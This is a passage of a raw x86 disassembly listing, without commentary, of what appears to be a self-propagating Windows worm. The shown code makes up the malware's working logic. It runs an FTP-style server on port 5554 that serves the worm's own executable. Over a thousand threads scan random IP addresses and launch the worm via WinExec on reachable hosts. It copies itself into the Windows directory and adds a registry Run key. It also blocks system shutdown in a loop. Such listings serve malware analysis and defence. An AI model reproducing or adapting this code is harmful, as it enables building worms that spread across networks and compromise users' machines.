		sub	esp, 8E4h
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E29
		push	esi
		push	edi
		push	0
		push	off_4068D0
		call	sub_402210
		mov	esi, dword_4050F0
		pop	ecx
		push	eax
		push	off_4068D0
		push	ebx
		call	esi	; send
		mov	edi, [ebp+arg_0]
		jmp	short loc_401B46
; ---------------------------------------------------------------------------


loc_401B43:				; CODE XREF: sub_401B08+310j
		mov	ebx, [ebp+arg_0]


loc_401B46:				; CODE XREF: sub_401B08+39j
		push	0
		lea	eax, [ebp+var_4E4]
		push	400h
		push	eax
		push	ebx
		call	dword_4050EC	; recv
		and	[ebp+eax+var_4E4], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4E4]
		push	offset aUser	; "USER"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401B97
		push	0
		push	off_4068D4
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068D4
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401B97:				; CODE XREF: sub_401B08+73j
		lea	eax, [ebp+var_4E4]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401BC8
		push	0
		push	off_4068D8
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068D8
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401BC8:				; CODE XREF: sub_401B08+A4j
		lea	eax, [ebp+var_4E4]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401CA4
		lea	eax, [ebp+var_4E0]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402720
		mov	ax, word_406A60
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402680
		add	esp, 10h
		mov	ebx, eax
		xor	edi, edi


loc_401C17:				; CODE XREF: sub_401B08+159j
		test	ebx, ebx
		jz	short loc_401C4B
		cmp	edi, 4
		jge	short loc_401C2E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+edi*4+var_38], eax
		cmp	edi, 4


loc_401C2E:				; CODE XREF: sub_401B08+116j
		jnz	short loc_401C3A
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_18], eax


loc_401C3A:				; CODE XREF: sub_401B08:loc_401C2Ej
		cmp	edi, 5
		jnz	short loc_401C4E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_401C4E
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401B08+111j
		push	6
		pop	edi


loc_401C4E:				; CODE XREF: sub_401B08+135j
					; sub_401B08+141j
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_402680
		inc	edi
		pop	ecx
		cmp	edi, 6
		pop	ecx
		mov	ebx, eax
		jl	short loc_401C17
		push	[ebp+var_2C]
		mov	edi, [ebp+var_18]
		lea	eax, [ebp+var_60]
		push	[ebp+var_30]
		shl	edi, 8
		push	[ebp+var_34]
		add	edi, [ebp+var_14]
		push	[ebp+var_38]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	dword_4050E0	; wsprintfA
		add	esp, 18h
		push	0
		push	off_4068E0
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068E0
		jmp	loc_401DD7
; ---------------------------------------------------------------------------


loc_401CA4:				; CODE XREF: sub_401B08+D5j
		lea	eax, [ebp+var_4E4]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401DDC
		push	0
		push	off_4068E4
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068E4
		push	ebx
		call	esi	; send
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4011D5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_401DB9
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_4021B0
		add	esp, 0Ch
		mov	[ebp+var_28], 2
		push	edi
		call	dword_4050F4	; ntohs
		push	0
		push	1
		push	2
		mov	[ebp+var_26], ax
		mov	[ebp+var_24], ebx
		call	dword_4050F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_C], ebx
		jz	loc_401DB9
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	ebx
		call	dword_4050FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D44
		push	ebx
		call	dword_40511C	; closesocket
		jmp	short loc_401DB9
; ---------------------------------------------------------------------------


loc_401D44:				; CODE XREF: sub_401B08+231j
		lea	eax, [ebp+var_8E4]
		push	400h
		push	eax
		push	0
		call	dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_8E4]
		push	0
		push	eax
		call	dword_405030	; _lopen
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	short loc_401DB9
		lea	eax, [ebp+var_2]
		push	offset dword_406F38
		push	eax
		call	sub_402720
		mov	ebx, dword_40502C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]


loc_401D8E:				; CODE XREF: sub_401B08+2A6j
		call	ebx	; _lread
		cmp	eax, 1
		jnz	short loc_401DB0
		and	[ebp+var_1], 0
		push	0
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		push	[ebp+var_C]
		call	esi	; send
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]
		jmp	short loc_401D8E
; ---------------------------------------------------------------------------


loc_401DB0:				; CODE XREF: sub_401B08+28Bj
		push	[ebp+var_8]
		call	dword_40501C	; _lclose


loc_401DB9:				; CODE XREF: sub_401B08+1DDj
					; sub_401B08+21Bj ...
		push	[ebp+var_C]
		call	dword_40511C	; closesocket
		push	0
		push	off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068DC


loc_401DD7:				; CODE XREF: sub_401B08+197j
		push	[ebp+arg_0]
		jmp	short loc_401E12
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_401B08+1B1j
		lea	eax, [ebp+var_4E4]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_402600
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401DFC
		push	ebx
		call	dword_40511C	; closesocket
		jmp	short loc_401E14
; ---------------------------------------------------------------------------


loc_401DFC:				; CODE XREF: sub_401B08+2E9j
		push	0
		push	off_4068DC
		call	sub_402210
		pop	ecx
		push	eax
		push	off_4068DC


loc_401E11:				; CODE XREF: sub_401B08+8Aj
					; sub_401B08+BBj
		push	ebx


loc_401E12:				; CODE XREF: sub_401B08+2D2j
		call	esi	; send


loc_401E14:				; CODE XREF: sub_401B08+2F2j
		cmp	[ebp+var_10], 0
		jg	loc_401B43
		push	[ebp+arg_0]
		call	dword_40511C	; closesocket
		pop	edi
		pop	esi


loc_401E29:				; CODE XREF: sub_401B08+10j
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_401B08+119p
					; sub_401B08+129p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi


loc_401E38:				; CODE XREF: sub_401E30+13j
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_401E42
		cmp	al, 9
		jnz	short loc_401E45


loc_401E42:				; CODE XREF: sub_401E30+Cj
		inc	esi
		jmp	short loc_401E38
; ---------------------------------------------------------------------------


loc_401E45:				; CODE XREF: sub_401E30+10j
					; sub_401E30+2Ej
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_402810
		test	eax, eax
		pop	ecx
		jz	short loc_401E60
		movsx	ecx, byte ptr [esi]
		lea	eax, [edi+edi*4]
		inc	esi
		lea	edi, [ecx+eax*2-30h]
		jmp	short loc_401E45
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: sub_401E30+21j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E65	proc near		; DATA XREF: sub_402029+79o

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	dword_4050F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401E89


loc_401E81:				; CODE XREF: sub_401E65+63j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401E89:				; CODE XREF: sub_401E65+1Aj
		push	15B2h
		mov	[ebp+var_14], 2
		call	dword_4050F4	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_10], esi
		call	dword_405118	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401EC1
		push	5
		push	edi
		call	dword_405100	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401ECA


loc_401EC1:				; CODE XREF: sub_401E65+4Cj
		push	edi
		call	dword_40511C	; closesocket
		jmp	short loc_401E81
; ---------------------------------------------------------------------------


loc_401ECA:				; CODE XREF: sub_401E65+5Aj
					; sub_401E65+89j
		push	esi
		push	esi
		push	edi
		call	dword_4050E8	; accept
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	eax
		push	offset sub_401B08
		push	esi
		push	esi
		call	dword_405038	; CreateThread
		push	19h
		call	dword_405028	; Sleep
		jmp	short loc_401ECA
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401EF0	proc near		; DATA XREF: sub_402029+8Do

var_454		= byte ptr -454h
var_438		= byte ptr -438h
var_400		= byte ptr -400h

		sub	esp, 454h
		push	ebx
		push	ebp
		mov	ebp, dword_4050E0
		push	esi
		push	edi
		mov	esi, 0FFh


loc_401F05:				; CODE XREF: sub_401EF0+134j
		lea	eax, [esp+464h+var_438]
		push	eax
		call	sub_4010D2
		pop	ecx
		lea	eax, [esp+464h+var_438]
		push	eax
		call	dword_40510C	; inet_addr
		movsx	edi, al
		test	edi, edi
		movsx	ebx, ah
		jge	short loc_401F2B
		add	edi, 100h


loc_401F2B:				; CODE XREF: sub_401EF0+33j
		test	ebx, ebx
		jge	short loc_401F35
		add	ebx, 100h


loc_401F35:				; CODE XREF: sub_401EF0+3Dj
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F92
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F78
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		jmp	short loc_401F8F
; ---------------------------------------------------------------------------


loc_401F78:				; CODE XREF: sub_401EF0+63j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		push	ebx


loc_401F8F:				; CODE XREF: sub_401EF0+86j
		push	edi
		jmp	short loc_401FBE
; ---------------------------------------------------------------------------


loc_401F92:				; CODE XREF: sub_401EF0+53j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx


loc_401FBE:				; CODE XREF: sub_401EF0+A0j
		lea	eax, [esp+474h+var_454]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+464h+var_454]
		push	eax
		call	sub_401153
		cmp	al, 1
		pop	ecx
		jnz	short loc_40201C
		lea	eax, [esp+464h+var_400]
		push	400h
		push	eax
		push	0
		call	dword_405034	; GetModuleFileNameA
		lea	eax, [esp+464h+var_400]
		push	offset asc_406A7C ; " "
		push	eax
		call	sub_402730
		lea	eax, [esp+46Ch+var_454]
		push	eax
		lea	eax, [esp+470h+var_400]
		push	eax
		call	sub_402730
		add	esp, 10h
		lea	eax, [esp+464h+var_400]
		push	0
		push	eax
		call	dword_40503C	; WinExec


loc_40201C:				; CODE XREF: sub_401EF0+EAj
		push	19h
		call	dword_405028	; Sleep
		jmp	loc_401F05
sub_401EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402029	proc near		; CODE XREF: .text:00402907p

var_14		= dword	ptr -14h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, dword_405048
		xor	esi, esi
		push	offset aJobaka3	; "Jobaka3"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	dword_405044	; GetTickCount
		push	eax
		call	sub_40101E
		call	sub_401028
		push	[ebp+arg_8]
		call	sub_402210
		pop	ecx
		test	eax, eax
		pop	ecx
		jbe	short loc_402072
		push	[ebp+arg_8]
		call	sub_401A84
		pop	ecx
		push	1
		pop	eax


loc_40206C:				; CODE XREF: sub_402029+6Aj
		pop	edi
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_402072:				; CODE XREF: sub_402029+35j
		push	1
		call	sub_4020D7
		mov	[esp+14h+var_14], offset aJumpallsnlstil ; "JumpallsNlsTillt"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	dword_405040	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_402095
		xor	eax, eax
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402095:				; CODE XREF: sub_402029+66j
		mov	edi, dword_405038
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	esi
		push	esi
		push	offset sub_401E65
		push	esi
		push	esi
		call	edi	; CreateThread
		mov	ebx, 400h


loc_4020B0:				; CODE XREF: sub_402029+97j
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		push	offset sub_401EF0
		push	esi
		push	esi
		call	edi	; CreateThread
		dec	ebx
		jnz	short loc_4020B0
		pop	ebx


loc_4020C3:				; CODE XREF: sub_402029+ACj
		push	esi
		call	dword_405000	; AbortSystemShutdownA
		push	0BB8h
		call	dword_405028	; Sleep
		jmp	short loc_4020C3
sub_402029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020D7	proc near		; CODE XREF: sub_402029+4Bp

var_824		= byte ptr -824h
var_425		= byte ptr -425h
var_424		= byte ptr -424h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	esi
		mov	esi, 400h
		lea	eax, [ebp+var_824]
		push	esi
		push	eax
		push	0
		call	dword_405034	; GetModuleFileNameA
		lea	eax, [ebp+var_424]
		push	esi
		push	eax
		call	dword_405050	; GetWindowsDirectoryA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		cmp	[ebp+eax+var_425], 5Ch
		pop	ecx
		pop	esi
		jz	short loc_40212F
		lea	eax, [ebp+var_424]
		push	offset asc_406ACC ; "\\"
		push	eax
		call	sub_402730
		pop	ecx
		pop	ecx


loc_40212F:				; CODE XREF: sub_4020D7+43j
		push	off_4068C8
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402730
		cmp	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jz	short loc_40215F
		lea	eax, [ebp+var_424]
		push	0
		push	eax
		lea	eax, [ebp+var_824]
		push	eax
		call	dword_40504C	; CopyFileA


loc_40215F:				; CODE XREF: sub_4020D7+70j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_405004	; RegOpenKeyA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402210
		pop	ecx
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	1
		push	0
		push	off_4068C8
		push	[ebp+var_4]
		call	dword_405008	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_40500C	; RegCloseKey
		leave
		retn
sub_4020D7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4021B0	proc near		; CODE XREF: sub_401153+10p
					; sub_401153+40p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_402203
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4021F7
		neg	ecx
		and	ecx, 3
		jz	short loc_4021D9
		sub	edx, ecx


loc_4021D3:				; CODE XREF: sub_4021B0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4021D3


loc_4021D9:				; CODE XREF: sub_4021B0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4021F7
		rep stosd
		test	edx, edx
		jz	short loc_4021FD


loc_4021F7:				; CODE XREF: sub_4021B0+18j
					; sub_4021B0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4021F7


loc_4021FD:				; CODE XREF: sub_4021B0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402203:				; CODE XREF: sub_4021B0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4021B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402210	proc near		; CODE XREF: sub_401210+3Ep
					; sub_401210+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_402230


loc_40221C:				; CODE XREF: sub_402210+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_402263
		test	ecx, 3
		jnz	short loc_40221C
		add	eax, 0


loc_402230:				; CODE XREF: sub_402210+Aj
					; sub_402210+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402230
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402281
		test	ah, ah
		jz	short loc_402277
		test	eax, 0FF0000h
		jz	short loc_40226D
		test	eax, 0FF000000h
		jz	short loc_402263
		jmp	short loc_402230
; ---------------------------------------------------------------------------


loc_402263:				; CODE XREF: sub_402210+11j
					; sub_402210+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40226D:				; CODE XREF: sub_402210+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402277:				; CODE XREF: sub_402210+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402281:				; CODE XREF: sub_402210+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402290	proc near		; CODE XREF: sub_401398+59p
					; sub_401398+78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4022B0
		cmp	edi, eax
		jb	loc_402428


loc_4022B0:				; CODE XREF: sub_402290+16j
		test	edi, 3
		jnz	short loc_4022CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	off_4023D8[edx*4]
; ---------------------------------------------------------------------------


loc_4022CC:				; CODE XREF: sub_402290+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4022E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4022EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4022E4:				; CODE XREF: sub_402290+46j
		jmp	dword ptr loc_4023E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4022EC:				; CODE XREF: sub_402290+31j
					; sub_402290+8Ej ...
		jmp	off_40236C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_402300
		dd offset loc_40232C
; ---------------------------------------------------------------------------
		push	eax
		and	eax, [eax+0]


loc_402300:				; DATA XREF: sub_402290+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40232C:				; DATA XREF: sub_402290+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4022EC
		rep movsd
		jmp	off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40236C	dd offset loc_4023CF	; DATA XREF: sub_402290:loc_4022ECr
		dd offset loc_4023BC
		dd offset loc_4023B4
		dd offset loc_4023AC
		dd offset loc_4023A4
		dd offset loc_40239C
		dd offset loc_402394
		dd offset loc_40238C
; ---------------------------------------------------------------------------


loc_40238C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_402394:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40239C:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4023A4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4023AC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4023B4:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4023BC:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4023CF:				; CODE XREF: sub_402290:loc_4022ECj
					; DATA XREF: sub_402290:off_40236Co
		jmp	off_4023D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4023D8	dd offset loc_4023E8	; DATA XREF: sub_402290+35r
					; sub_402290+92r ...
		dd offset loc_4023F0
		dd offset loc_4023FC
		dd offset loc_402410
; ---------------------------------------------------------------------------


loc_4023E8:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4023F0:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4023FC:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402410:				; CODE XREF: sub_402290+35j
					; sub_402290+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402428:				; CODE XREF: sub_402290+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40245C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_402450:				; CODE XREF: sub_402290+1B1j
					; sub_402290+208j ...
		neg	ecx
		jmp	off_402520[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40245C:				; CODE XREF: sub_402290+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_402474
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_402474+4[eax*4]
; ---------------------------------------------------------------------------


loc_402474:				; CODE XREF: sub_402290+1D6j
					; DATA XREF: sub_402290+1DDr
		jmp	off_402570[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[eax+eax*2], ah
		add	[eax-2FFFBFDCh], ch
		and	al, 40h
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_402450
		std
		rep movsd
		cld
		jmp	off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_402450
		std
		rep movsd
		cld
		jmp	off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402524
		dd offset loc_40252C
		dd offset loc_402534
		dd offset loc_40253C
		dd offset loc_402544
		dd offset loc_40254C
		dd offset loc_402554
off_402520	dd offset loc_402567	; DATA XREF: sub_402290+1C2r
; ---------------------------------------------------------------------------


loc_402524:				; DATA XREF: sub_402290+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_40252C:				; DATA XREF: sub_402290+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_402534:				; DATA XREF: sub_402290+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_40253C:				; DATA XREF: sub_402290+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_402544:				; DATA XREF: sub_402290+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40254C:				; DATA XREF: sub_402290+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_402554:				; DATA XREF: sub_402290+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_402567:				; CODE XREF: sub_402290+1C2j
					; DATA XREF: sub_402290:off_402520o
		jmp	off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_402570	dd offset loc_402580	; DATA XREF: sub_402290+1B7r
					; sub_402290:loc_402474r ...
		dd offset loc_402588
		dd offset loc_402598
		dd offset loc_4025AC
; ---------------------------------------------------------------------------


loc_402580:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402588:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


